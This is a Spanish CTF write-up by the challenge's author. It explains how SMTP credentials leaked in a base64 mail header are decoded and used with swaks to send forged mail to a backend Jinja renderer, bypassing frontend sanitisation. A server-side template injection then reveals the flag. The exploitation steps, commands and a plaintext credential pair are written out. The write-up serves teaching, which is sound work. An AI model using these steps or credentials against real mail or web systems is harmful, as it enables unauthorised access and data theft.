/\___/\             
( o ^ o )            
(  >o<  )            
(        )           
(         )          
(          ))))))))))
'._....._,'          

En primer lugar, quiero felicitar a las 3 personas/equipos que logaron resolver el desafío. Fue algo que armé a la rápida, con mucho cariño y harta dificultad en mente. Como anécdota, quiero mencionar que las dos primeras resoluciones explotaron la vulnerabilidad de una forma distinta a la que tenía planeada. Ya que esta solución hacía que el desafío fuera trivial y no dificil, decidí mitigarla apenas fui avisado.

00

-…- 1. Recon inicial -…-

La descripción del desafío habla de un grupo de desarrolladores que perdieron el control de uno de sus proyectos. Al ingresar al sitio, nos encontramos con un formulario de contacto que nos envía un correo electrónico cada vez que lo llenamos.

01

02

El repositorio en GitHub explica que el formulario corresponde a un sistema de gestión de tickets con una infraestructura innecesariamente compleja. Adjunto a las malas explicaciones se encuentra la siguiente imágen:

03

Acá podemos ver como el formulario (escrito en Flask) crea una plantilla de Jinja de manera dinámica con los datos del usuario. Luego, la envía a través de SMTP a un segundo programa que la renderiza e incluye el número de solicitud generado de forma aleatoria. Finalmente, el mensaje completo es enviado al usuario a través de correo. Revisando el código podemos ver la mayoría de este flujo.

En /web/app/app.py vemos cuando se toman los datos del formulario y se sanitizan antes de ser pasados a la función process_ticket.

@app.route("/", methods=["POST"])
@rate_limiter.limit("10/minute")
def handle_form():
    name = request.form.get("name")
    email = request.form.get("email")
    message = request.form.get("message")
    if all([name, email, message]):
        for c in "%{}()+": # <-- Esto fue añadido para mitigar la solución unintended :)
            name = name.replace(c, "*")
            message = message.replace(c, "*")
            process_ticket(name, email, message)
    return flask.make_response(flask.redirect("/"))

Dentro de la función process_ticket, se genera la plantilla de manera dinámica y se incluye en un JSON junto con el correo del usuario. Después se llama a la función sendmail con el JSON como argumento.

TEMPLATE = """\
Hola, {}

Gracias por tu solicitud, nos contactaremos pronto contigo.
Este es tu código de seguimiento: {{{{ codigo }}}}

Esta es una copia de tu mensaje:
-------------------------------
{}
-------------------------------

Saludos,
Equipo de Dominio Real.
"""
...
def process_ticket(name, email, message):
    final_template = TEMPLATE.format(name, message) # Acá se genera la plantilla
    json_str = json.dumps({
        "template": final_template,
        "email": email
    }) # y acá el JSON
    sendmail(json_str)

La función sendmail simplemente envía un correo de [email protected] a [email protected] con el JSON generado en la parte anterior en el cuerpo del mensaje.

DOMINIO = "dominioreal.xyz"
MAIL_FROM = f"webform@{DOMINIO}"
RCPT_TO = f"solicitud@{DOMINIO}"
...
def sendmail(body):
    msg = MIMEMultipart()
    msg['Subject'] = f"Webform - {time.ctime()}"
    msg['From'] = MAIL_FROM
    msg['To'] = RCPT_TO
    msg.attach(MIMEText(body))
    with SMTP("192.155.95.27") as smtp:
        smtp.helo("dominioreal.xyz")
        smtp.sendmail(MAIL_FROM, RCPT_TO, msg.as_string())

Importante mencionar que el servidor de correo que usa es 192.155.95.27, también conocido como dominioreal.xyz

  $ nslookup 192.155.95.27                          
  27.95.155.192.in-addr.arpa	name = dominioreal.xyz.

Podemos suponer entonces que este corresponde al paso (1) en el diagrama, con la diferencia de que el envío del correo lo hace a través de internet y no internamente como el dibujo sugiere. Esto debería abrir una serie de preguntas:

P1. Ya que el envío del correo no ocurre de forma interna y el servidor se encuentra expuesto,  
¿podré yo enviarle correos?                                                                     
                                                                                                
P2. Si ese es el caso, significa que me puedo comunicar con el motor de plantillas directamente,
saltándome la sanitización realizada por el formulario. ¿Ocurrirá otro proceso de sanitización? 
                                                                                                
P3. Si mi contenido llega intacto al motor de plantillas, ¿podré enviar una plantilla maliciosa 
explotando un SSTI?                                                                             

Veamos ahora el código de /backend/process_email.py aka. el motor de plantillas interno. Recordemos que este programa procesa todos los correos recibidos por el usuario [email protected] de acuerdo a lo que podemos concluir de app.py junto con el diagrama.

Primero vemos una variable llamada FLAG. Esto nos hace saber inmediatamente que este es el programa que debemos explotar para resolver el desafío.

    FLAG = "flag{olaaa_no_soi_la_flag_confia_en_mi}"

También vemos cómo el programa procesa el cuerpo del correo, extrayendo la plantilla y el correo del usuario del objeto JSON.

def main():
    ...
    # Sacamos el cuerpo y lo transformamos en un diccionario
    mail = mailparser.parse_from_string(raw_message)
    info_dict = json.loads(mail.body.strip(), strict=False)
    ...

Y aquí un detalle crucial. Al renderizar la plantilla, además de pasar la variable “codigo”, también incluye “flag”, dejándola en el namespace accesible por la plantilla (con un “{{ flag }}” por ejemplo).

def main():
    ...
    message_template = jinja2.Template(info_dict["template"])
    ...
    # Renderizamos el template y lo enviamos
    sendmail(info_dict["email"], message_template.render(
        codigo=codigo_sol,
        flag=FLAG # <- omaigat
    ))

Este programa hace el envío de correos de manera interna, autenticándose con localhost utilizando usuario y contraseña. También hay un comentario un poco extraño sobre el traspaso de credenciales entre componentes.

MAIL_FROM = "[email protected]"

def sendmail(user_email, body):
    msg = MIMEMultipart()
    msg['Subject'] = "Comprobante Solicitud"
    msg['From'] = MAIL_FROM
    msg['To'] = user_email
    # TODO: Ver cómo integramos credenciales/tokens de autorización entre
    # componentes
    msg.attach(MIMEText(body))
    with SMTP("localhost") as smtp:
        smtp.login("USERFALSO", "PASSFALSA")
        smtp.sendmail(MAIL_FROM, user_email, msg.as_string())

Esto nos dice que el servidor postfix requiere autenticación. Podemos validar esto conectándonos directamente al servidor y validando que ofrezca el comando AUTH.

  $ ncat dominioreal.xyz 25                    
  220 dominioreal.xyz ESMTP Postfix (Gud yob)  
  EHLO sigint                                  
  250-dominioreal.xyz                          
  250-PIPELINING                               
  250-SIZE 10240000                            
  250-VRFY                                     
  250-ETRN                                     
  250-STARTTLS                                 
  250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM
  250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM
  250-ENHANCEDSTATUSCODES                      
  250-8BITMIME                                 
  250-DSN                                      
  250-SMTPUTF8                                 
  250 CHUNKING                                 

Con esta evidencia tratemos de responder nuestras preguntas, una por una :)

-…- 2. Explotación -…-

-…- 2.1 ¿Podría enviar correos directamente al servidor? -…-

Saquémonos la duda rapidamente:

  $ swaks --to "[email protected]" --from "[email protected]" --server dominioreal.xyz:25
  === Trying dominioreal.xyz:25...                                                                     
  === Connected to dominioreal.xyz.                                                                    
  <-  220 dominioreal.xyz ESMTP Postfix (Gud yob)                                                      
   -> EHLO sigint                                                                                      
  <-  250-dominioreal.xyz                                                                              
  <-  250-PIPELINING                                                                                   
  <-  250-SIZE 10240000                                                                                
  <-  250-VRFY                                                                                         
  <-  250-ETRN                                                                                         
  <-  250-STARTTLS                                                                                     
  <-  250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM                                                    
  <-  250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 NTLM                                                    
  <-  250-ENHANCEDSTATUSCODES                                                                          
  <-  250-8BITMIME                                                                                     
  <-  250-DSN                                                                                          
  <-  250-SMTPUTF8                                                                                     
  <-  250 CHUNKING                                                                                     
   -> MAIL FROM:<[email protected]>                                                              
  <-  250 2.1.0 Ok                                                                                     
   -> RCPT TO:<[email protected]>                                                              
  <-  550 5.7.23 <[email protected]>: Recipient address rejected: Message                      
      rejected due to: SPF fail - not authorized. Please see                                           
      http://www.openspf.net/Why?s=mfrom;[email protected];ip=xxx.xxx.xx.xx;r=<UNKNOWN>       
   -> QUIT                                                                                             
  <-  221 2.0.0 Bye                                                                                    
  === Connection closed with remote host                                                               

Demonios, no estamos pasando SPF. Tiene sentido considerando que dominioreal.xyz solo permite el envío de correos desde el sitio que estamos analizando.

  $ dig txt +short dominioreal.xyz
  "v=spf1 a -all"                 

Cambiando de foco, al analizar uno de los correos legítimos que recibimos, notamos que existe una cabecera inusual: C-Auth.

...                                                                     
MIME-Version: 1.0                                                       
Subject: Comprobante Solicitud                                          
From: [email protected]                                         
To: [email protected]                                                       
C-Auth: cG9zdGZpeHNlbmRlcjpGQ0hCZzNqcmtUNkJvaEttQ3R1aExrVjlscXFuZGVOdHAK
Message-Id: <[email protected]>                 
Date: Sun, 12 Nov 2023 01:45:48 +0000 (UTC)                             
...                                                                     

Si decodificamos su valor, nos encontramos con un usuario y contraseña omaigat.

  $ base64 -d <<< cG9zdGZpeHNlbmRlcjpGQ0hCZzNqcmtUNkJvaEttQ3R1aExrVjlscXFuZGVOdHAK
  postfixsender:FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp                                 

Ahora al hacer el mismo ejercicio de antes, pero ingresando estas nuevas credenciales, logramos autenticarnos de manera exitosa con el servidor de correo y nuestro mensaje queda en la cola :)

$ swaks --to "[email protected]" \
        --from "[email protected]" \
        --server dominioreal.xyz:25 \
        --auth-user postfixsender
        --auth-pass FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp
=== Trying dominioreal.xyz:25...
=== Connected to dominioreal.xyz.
...
<-  334 PDI3NTYwMTQwOC41MjU4MDIxQGRvbWluaW9yZWFsLnh5ej4=
 -> cG9zdGZpeHNlbmRlciBjN2Y2ZDI0ZDE2ZmMxNzg0NTM0YmEyM2VmN2E5OTI5Ng==
<-  235 2.7.0 Authentication successful
 -> MAIL FROM:<[email protected]>
<-  250 2.1.0 Ok
 -> RCPT TO:<[email protected]>
<-  250 2.1.5 Ok
 -> DATA
<-  354 End data with <CR><LF>.<CR><LF>
 -> Date: Sat, 11 Nov 2023 23:38:55 -0300
 -> To: [email protected]
 -> From: [email protected]
 -> Subject: test Sat, 11 Nov 2023 23:38:55 -0300
 -> Message-Id: <20231111233855.149458@acheron>
...
<-  250 2.0.0 Ok: queued as 0F6794BA66
 -> QUIT
<-  221 2.0.0 Bye
=== Connection closed with remote host.

Aún así, no recibimos nada en nuestra casilla. Pero no lo olvidemos, el backend espera que el cuerpo del correo sea un objeto JSON! Intentemos de nuevo con un mensaje válido.

  $ swaks --to "[email protected]" \                  
          --from "[email protected]" \                  
          --server dominioreal.xyz:25 \                       
          --auth-user postfixsender \                         
          --auth-pass FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp \     
          --body '{"template":"test","email":"[email protected]"}'

04

La respuesta entonces es sí, podemos enviar correos forjados!!

-…- 2.2 ¿Ocurrirá otro proceso de sanitización? -…-

Recordemos cuáles son los carácteres eliminados por el formulario:

@app.route("/", methods=["POST"])
@rate_limiter.limit("10/minute")
def handle_form():
    ...
    if all([name, email, message]):
        for c in "%{}()+":
            name = name.replace(c, "*")
            message = message.replace(c, "*")
    ...

En /backend/process_email.py nunca se sanitiza el contenido, porque se asume que ya viene limpio del frontend. Podemos validar esto enviando un correo con carácteres prohibidos.

  $ swaks --to "[email protected]" \                    
          --from "[email protected]" \                    
          --server dominioreal.xyz:25 \                         
          --auth-user postfixsender \                           
          --auth-pass FCHBg3jrkT6BohKmCtuhLkV9lqqndeNtp \       
          --body '{"template":"%{}()+","email":"[email protected]"}'

05

Fantástico, efectivamente no ocurre otro proceso de sanitización.

-…- 2.3 ¿Podré enviar una plantilla maliciosa explotando un SSTI? -…-

Si bien hay mil y un formas de validar esto, partamos enviando a ya saben quién:

{"template":"{{7*7}}","email":"[email protected]"}

06

Ahora es cosa de recordar las variables que se inyectan en el namespace del template: codigo y flag. Veamos ambas:

{"template":"{{codigo}} {{flag}}","email":"[email protected]"}

07

Y tenemos la flag :)

flag{4ut3nt1c4c1on_SMTP?}